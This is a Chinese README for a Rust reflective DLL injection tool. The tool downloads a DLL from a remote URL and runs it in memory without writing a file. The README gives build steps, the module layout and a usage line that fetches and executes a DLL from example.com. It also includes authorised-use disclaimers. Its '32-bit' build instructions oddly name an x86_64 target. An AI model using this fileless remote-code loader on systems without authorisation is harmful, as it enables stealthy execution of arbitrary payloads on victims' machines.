一个使用 Rust 实现的反射式DLL注入(Reflective DLL Injection)工具,支持从远程URL下载DLL并在内存中执行,无需文件落地。
此工具仅应用于以下合法目的:
- ✅ 授权的渗透测试和安全评估
- ✅ CTF竞赛和安全研究
- ✅ 教育和学习目的
- ✅ 防御性安全研究
未经授权使用此工具进行恶意活动是违法的。
- 🌐 远程下载 - 从URL获取DLL文件
- 🔍 PE解析 - 完整解析PE文件格式
- 💾 内存加载 - 直接在内存中加载和执行
- 🔧 导入表修复 - 自动解析API依赖
- 📍 重定位处理 - 自动修正地址差异
- ✅ 完全无文件 - 不在磁盘留下任何痕迹
- 🛡️ 错误处理 - 详细的错误信息和诊断
- 🦀 Rust实现 - 内存安全,更小体积
- 操作系统: Windows 7 或更高版本
- 架构: x64
- Rust: 1.70 或更高版本
- 依赖: WinHTTP (系统自带)
# 下载并安装 rustup
# https://rustup.rs/
# 或使用 winget
winget install Rustlang.Rustupcd rust-rdi
# Debug 版本
cargo build
# Release 版本 (推荐)
cargo build --release编译后的可执行文件位于:
target/debug/rust-rdi.exe(Debug)target/release/rust-rdi.exe(Release)
# 方式1:命令行参数
target\release\rust-rdi.exe http://example.com/test.dll
# 方式2:交互式输入
target\release\rust-rdi.exe
# 然后输入URLrust-rdi/
├── src/
│ ├── main.rs # 主程序和DLL执行
│ ├── downloader.rs # HTTP下载模块
│ ├── pe.rs # PE文件解析模块
│ └── loader.rs # 内存加载器模块
├── Cargo.toml # 项目配置
└── README.md # 本文件
-
HTTP下载模块 (downloader.rs)
- 使用 WinHTTP API
- 支持HTTP/HTTPS
- 错误处理和超时
- 支持自定义端口
-
PE解析模块 (pe.rs)
- DOS头和NT头验证
- 节区头解析
- 架构验证(x64/x86)
- 数据目录解析
-
内存加载模块 (loader.rs)
- VirtualAlloc内存分配
- 节区加载和映射
- 导入表解析和修复
- 基址重定位
- 内存保护修正
-
主程序 (main.rs)
- 命令行参数处理
- 交互式URL输入
- DLL入口点调用
- 错误处理
✅ 支持:
- 标准PE/PE+格式
- x64 DLL(当前加载器为64位)
- 标准导入表
- 基址重定位
❌ 不支持:
- 32位DLL(需要32位加载器)
- .NET程序集
- 加壳/压缩DLL
- 延迟加载导入
| 项目 | 限制 |
|---|---|
| URL长度 | 2048字符 |
| DLL大小 | 推荐 < 50MB |
| 最大大小 | 500MB |
文件: target/release/rust-rdi.exe
大小: 约100-200KB (strip后)
依赖: 仅系统DLL (kernel32.dll, winhttp.dll等)
特点: 静态链接,独立运行
windowscrate: Windows API 绑定urlcrate: URL 解析 (备用)
[profile.release]
strip = true # 去除符号信息
opt-level = "z" # 优化体积
lto = true # 链接时优化
codegen-units = 1 # 单编译单元优化
panic = "abort" # 减小体积如需32位版本:
rustup target add x86_64-pc-windows-msvc
cargo build --release --target x86_64-pc-windows-msvc- ✅ 无文件落地 - 全程内存操作
⚠️ 会被检测 - 安全软件会检测为可疑行为⚠️ RWX内存 - 可执行+可写内存违反DEP原则- ✅ 仅合法用途 - 授权测试和学习
本项目仅用于教育目的。欢迎提出建议和改进。
仅供教育和合法安全研究使用。作者不对滥用造成的任何损害负责。